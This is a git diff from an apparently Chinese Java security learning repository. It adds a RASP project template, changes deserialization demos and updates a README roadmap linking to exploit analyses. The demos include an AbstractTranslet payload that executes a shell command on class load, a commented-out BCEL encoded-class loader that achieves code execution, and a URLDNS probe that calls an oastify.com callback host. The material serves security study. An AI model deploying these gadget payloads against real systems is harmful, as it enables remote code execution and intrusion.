"b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $java_rasp + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Reappearance.iml" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Reappearance.iml" new file mode 100644 index 00000000..64ec94ed --- /dev/null +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Reappearance.iml" @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" new file mode 100644 index 00000000..b107a2dd --- /dev/null +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java" index a040f8ea..97dc7033 100644 --- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java" +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.java" @@ -1,11 +1,11 @@ -package src.DynamicClassLoader.BCELClassLoader; - -import com.sun.org.apache.bcel.internal.util.ClassLoader; - -// 修改过滤乱码 -public class BCELSuccessRce { - public static void main(String[] args) throws Exception{ - - new ClassLoader().loadClass("$$BCEL$$" + "$l8ドルb$I$A$A$A$A$A$A$A8ドルdQMO$db40ドル$Q7ドルd9ドルb8$b1c$i$C81ドル$f0$d1$PhK81ドル$QU$f5$a57$Q97ドル$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p7ドルb83ドル$e0$X$f5$cc85ドル$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK9ドルe$f17ドルb3$f3$e6$ad$f7$ee$fe$f6$X80ドルOX$f1$e1a$d6$c7$i$e63ドルd$bc0$f9$a58ドルbW3ドルeJx$edb$c1$c5$oCyC$rJo2$U9ドルbk$c7$MN3ドルb3ドルd91ドル$M$b5H$rro$d8$ef$ca$ec90ドルwcb$eaQ$wx7ドルc$cc3e$f0$T$e9$e8S953ドル7ドルc88ドル$f2L84ドル5ドルb97ドル$J$ef$x$d18ドルey9ドルeG$v3ドルf91ドルYxt$Q8ドルd$c268ドルf$c53ドルa83ドル$b7$n$e2$a7$a58ドルcD$g$d1$Z3ドルf$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M7ドルe$t$jfB$ee$u$b3$bcb$e43ドルe9ドルa$d9$A$V$f8$$$de$Ex8ドルbw$e48ドルa8ドルc8ドルa$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo9ドルaa$c2$ea$c43ドルc$e985ドル$fb$dd3$v4$c3$e4$l$ea60ドル98ドルh$d5$tO7ドルeO$eag$d0h$aeE7ドルf$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d181ドル$afY$wd9ドルe$d340ドルm40ドルEm7ドルf$c7a$c685ドル$a4c$bat$b1$e6$v80ドル99ドル$c3S$i$p$URf94ドルK$ad9ドルf60ドルW$b6$iP$y5ドルb$b28ドルc$w$c5$e0$b1$B$e3$a8Q$f60$f13ドルc$cc$ad$YP$bfA$a15ドルe$bc86ドル$f3$ed$H$bc$_$adk94ドル$af$y_$a1$d9$S8ドルaVq86ドル$be$Mc$b880ドル$U$aa$a40I$f1$f786ドル$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a999ドル$H$X$f0$df84ドル$a2$C$A$A").newInstance(); - } -} +//package src.DynamicClassLoader.BCELClassLoader; +// +// +// +//// 修改过滤乱码 +//public class BCELSuccessRce { +// public static void main(String[] args) throws Exception{ +// +// new ClassLoader().loadClass("$$BCEL$$" + "$l8ドルb$I$A$A$A$A$A$A$A8ドルdQMO$db40ドル$Q7ドルd9ドルb8$b1c$i$C81ドル$f0$d1$PhK81ドル$QU$f5$a57$Q97ドル$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p7ドルb83ドル$e0$X$f5$cc85ドル$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK9ドルe$f17ドルb3$f3$e6$ad$f7$ee$fe$f6$X80ドルOX$f1$e1a$d6$c7$i$e63ドルd$bc0$f9$a58ドルbW3ドルeJx$edb$c1$c5$oCyC$rJo2$U9ドルbk$c7$MN3ドルb3ドルd91ドル$M$b5H$rro$d8$ef$ca$ec90ドルwcb$eaQ$wx7ドルc$cc3e$f0$T$e9$e8S953ドル7ドルc88ドル$f2L84ドル5ドルb97ドル$J$ef$x$d18ドルey9ドルeG$v3ドルf91ドルYxt$Q8ドルd$c268ドルf$c53ドルa83ドル$b7$n$e2$a7$a58ドルcD$g$d1$Z3ドルf$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M7ドルe$t$jfB$ee$u$b3$bcb$e43ドルe9ドルa$d9$A$V$f8$$$de$Ex8ドルbw$e48ドルa8ドルc8ドルa$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo9ドルaa$c2$ea$c43ドルc$e985ドル$fb$dd3$v4$c3$e4$l$ea60ドル98ドルh$d5$tO7ドルeO$eag$d0h$aeE7ドルf$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d181ドル$afY$wd9ドルe$d340ドルm40ドルEm7ドルf$c7a$c685ドル$a4c$bat$b1$e6$v80ドル99ドル$c3S$i$p$URf94ドルK$ad9ドルf60ドルW$b6$iP$y5ドルb$b28ドルc$w$c5$e0$b1$B$e3$a8Q$f60$f13ドルc$cc$ad$YP$bfA$a15ドルe$bc86ドル$f3$ed$H$bc$_$adk94ドル$af$y_$a1$d9$S8ドルaVq86ドル$be$Mc$b880ドル$U$aa$a40I$f1$f786ドル$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a999ドル$H$X$f0$df84ドル$a2$C$A$A").newInstance(); +// } +//} diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" new file mode 100644 index 00000000..b987db64 --- /dev/null +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java" @@ -0,0 +1,30 @@ +package src.DynamicClassLoader.URLClassLoader; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.IOException; + +// 弹计算器的万能类 +public class Exploit extends AbstractTranslet { + static { + try { + Runtime.getRuntime().exec("touch /tmp/success"); + } catch (IOException e){ + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java" index 4e29271f..32aa973a 100644 --- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java" +++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/ReflectDemo/SeralizeDemo/URLDNSEXP.java" @@ -9,7 +9,7 @@ public class URLDNSEXP { public static void main(String[] args) throws Exception{ HashMap hashmap= new HashMap(); // 这里不要发起请求 - URL url = new URL("http://8oxpkyud88s5adzxg6lq7uj3gumka9.oastify.com"); + URL url = new URL("http://2lovopw6370ldlc2nr68vnr8kzqqef.oastify.com"); // Class c = url.getClass(); Field hashcodeFile = Class.forName("java.net.URL").getDeclaredField("hashCode"); hashcodeFile.setAccessible(true); diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.class" deleted file mode 100644 index a1088902..00000000 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/BCELClassLoader/BCELSuccessRce.class" and /dev/null differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" similarity index 60% rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" rename to "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" index e4f67258..c5e7562e 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" index 8d761653..381372af 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/JarRce.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" index 3dc74c82..259fb9a9 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileCopy.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" index 1df0b9e4..86f6a12a 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead01.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" index 3480af9e..81d1d985 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileInputRead02.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" index 0d37fe9a..ff906d68 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite01.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" index 6db02334..2b91cadb 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileOutputWrite02.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" index f27725a4..5af1259c 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileReaderPrint.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" index 61d1cfb9..69c821fe 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/FileWriteUse.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" index 8d31713d..6a272952 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/URLDNSEXP.class" differ diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" index 499161be..e14fd9fe 100644 Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/ser.bin" differ diff --git a/README.md b/README.md index 00b898ed..cf91ebbc 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,8 @@ -> 如果师傅们看到有好的文章,也欢迎 pr,一起分享在这个 repo 中 -> -> 详细项目代码在 JavaSecurity 文件夹中 - # JavaSecurityLearning -## Ref: +项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 - https://github.com/Y4tacker/JavaSec +项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西自己搭建失败,可以复用仓库代码),对应文章记录在博客中。 ## 基础开发(是一定要学的) @@ -16,13 +12,13 @@ 学完这两个之后可以自己过一个小项目[【实战】基于SpringBoot+Vue开发的前后端分离博客项目完整教学](https://www.bilibili.com/video/BV1PQ4y1P7hZ?vd_source=a4eba559e280bf2f1aec770f740d0645) -- 学完这些内容最多花费两个月时间。 +- 学完这些内容最多花费两个月 推荐的 Java 基础,哪块不懂看哪块,[二倍速【狂神说Java】Java零基础学习视频通俗易懂](https://www.bilibili.com/video/BV12J41137hu?spm_id_from=333.337.search-card.all.click) ## Java 安全基础 -可以看b站白日梦组长的视频,讲的非常好 +可以看b站白日梦组长视频,讲的非常好。 - [Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)](https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click) - [Java-IO流](https://drun1baby.github.io/2022/05/30/Java-IO流/) @@ -34,7 +30,7 @@ - [反弹shell学习 ———— 这里主要是为了 yso 的使用](https://drun1baby.github.io/2022/07/20/反弹shell学习/) - [Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事](https://drun1baby.github.io/2022/10/12/Java-反弹-shell-与-Runtime-getRuntime-exec-的故事/) -一开始学还是会有点懵的,学到后面自然而然就会了 +一开始学还是会有点懵的,学到后面自然而然就会了。 ## Java 反序列化基础 @@ -69,6 +65,8 @@ CC 链部分结束,进入 shiro 部分,shiro 之前我们已经走过开发 - [Shiro550流程分析](https://drun1baby.github.io/2022/07/10/Java反序列化Shiro篇01-Shiro550流程分析/) - [02-Shiro721流程分析](https://drun1baby.top/2023/03/08/Java反序列化Shiro篇02-Shiro721流程分析/) +后面根据自己需求可以补 Shiro 权限绕过的部分。 + ## Java 反序列化进阶 - 这块是基础中的基础,但是也很难,要静下心来学的。 @@ -83,7 +81,7 @@ LDAP 是包含在 JNDI 里面的 学完上面的之后就可以开始学习其他的了。 -## Fastjson&&Jackson +## Fastjson - [FastJson基础](https://drun1baby.github.io/2022/08/04/Java反序列化Fastjson篇01-Fastjson基础/) - [Fastjson-1.2.24版本漏洞分析](https://drun1baby.github.io/2022/08/06/Java反序列化Fastjson篇02-Fastjson-1-2-24版本漏洞分析/) @@ -110,8 +108,6 @@ LDAP 是包含在 JNDI 里面的 - [CVE-2021-2109 WebLogic JNDI 注入](https://drun1baby.top/2023/02/12/CVE-2021-2109-WebLogic-JNDI-注入/) - [WebLogic 弱口令&文件上传&SSRF](https://drun1baby.top/2023/03/06/WebLogic-弱口令-文件上传-SSRF/) - - ## EL 表达式注入(本质上还是 OGNL 表达式注入) - [Java 之 SpEL 表达式注入](https://drun1baby.github.io/2022/09/23/Java-之-SpEL-表达式注入/) @@ -121,6 +117,7 @@ LDAP 是包含在 JNDI 里面的 ## 内存马 关于内存马的环境搭建可以看我这一篇文章:[Servlet 项目搭建](https://drun1baby.github.io/2022/08/22/Servlet-项目搭建/) +学习完之后最好自己可以用 Java Agent 实现一个 RASP - [Java反序列化之内存马系列 01-基础内容学习](https://drun1baby.github.io/2022/08/19/Java内存马系列-01-基础内容学习/) - [Java内存马系列-02-内存马介绍](https://drun1baby.github.io/2022/08/21/Java内存马系列-02-内存马介绍/) @@ -128,15 +125,22 @@ LDAP 是包含在 JNDI 里面的 - [Java内存马系列-04-Tomcat 之 Listener 型内存马](https://drun1baby.github.io/2022/08/27/Java内存马系列-04-Tomcat-之-Listener-型内存马/) - [Java内存马系列-05-Tomcat 之 Servlet 型内存马](https://drun1baby.github.io/2022/09/04/Java内存马系列-05-Tomcat-之-Servlet-型内存马/) - [Java内存马系列-06-Tomcat 之 Valve 型内存马](https://drun1baby.github.io/2022/09/07/Java内存马系列-06-Tomcat-之-Valve-型内存马/) +- [Java Agent 内存马学习](https://drun1baby.top/2023/12/07/Java-Agent-内存马学习/) + +## 关于 Java 代码审计(很多人对这块其实有个误区) -## 关于 Java 代码审计 +其实 Java 安全不光只有反序列化,其实代码审计也是很重要的,我最开始学的时候就踏入了这个误区。 WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebGoat代码审计-02-SQL注入/) -详细的**代码审计的文章**与资料,指路 [Java Owasp Top10 审计](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview/JavaSec-Code) +详细的**代码审计的文章与资料**,指路 [Java Owasp Top10 审计](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview/JavaSec-Code) + +Springboot 文件上传 RCE https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks ## 查漏补缺 +- 其实链子没必要跟太多了,实战才是最重要的。 + [Java反序列化之C3P0链](https://drun1baby.github.io/2022/10/06/Java反序列化之C3P0链/) [Java OWASP 中的 XXE 代码审计](https://drun1baby.github.io/2022/09/16/Java-OWASP-中的-XXE-代码审计/) @@ -151,15 +155,89 @@ WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebG [Java反序列化Fastjson篇05-写给自己看的一些源码深入分析](https://drun1baby.github.io/2022/10/19/Java反序列化Fastjson篇05-写给自己看的一些源码深入分析/) +JS 引擎攻防 https://xz.aliyun.com/t/8697 + ## Struts2 系列漏洞 +这块应该是目前学习的重点之一 + [Java Struts2 学习与环境搭建](https://drun1baby.github.io/2022/11/02/Java-Struts2-学习与环境搭建/) [Java Struts2 系列 S2-001](https://drun1baby.github.io/2022/10/27/Java-Struts2-系列-S2-001/) +## Jackson 系列漏洞 + +[Jackson 反序列化(一)漏洞原理](https://drun1baby.top/2023/12/07/Jackson-反序列化(一)漏洞原理/) + +[Jackson 反序列化(二)CVE-2017-7525](https://drun1baby.top/2023/12/07/Jackson-反序列化(二)CVE-2017-7525/) + +[Jackson 反序列化(三)CVE-2017-17485](https://drun1baby.top/2023/12/07/Jackson-反序列化(三)CVE-2017-17485/) + +Jackson 反序列化 —— https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/ + +## Apache + +### Apache DolphinScheduler + +CVE-2023-49299 & CVE-2024-23320 & CVE-2023-49109 漏洞概述:https://xz.aliyun.com/t/13981 + +### Apache Ofbiz + +https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/ + ## CodeQL +师傅可能在编译的时候还会遇到一些问题,然而新版本的 CodeQL 对于 Java 已经不需要编译了 + [CodeQL 入门](https://drun1baby.top/2023/09/03/CodeQL-%E5%85%A5%E9%97%A8/) [CodeQL 官方文档学习](https://drun1baby.top/2023/07/31/CodeQL-%E5%AD%A6%E4%B9%A0/) +[用CodeQL分析漏洞_CVE-2022-42889 | l3yx's blog](https://l3yx.github.io/2022/12/17/用CodeQL分析漏洞-CVE-2022-42889/) + +## 漏洞挖掘 + +Tabby 的使用:https://github.com/wh1t3p1g/tabby + +## 后记 +感觉现在 go 用的真的很多,java 系列可能暂时断更了,或许在不久的将来会出一个 golangSecurityLearning + + + + + Star History Chart + + +- 交流群 + +随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台 +同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后会写 golang 的 SecurityLearning) + +> 可加 VX DrunkbabySec + +![image](https://github.com/user-attachments/assets/3541e7fb-7ce1-419b-876d-cdc2a4207ad9) + + + + + + + + + + + +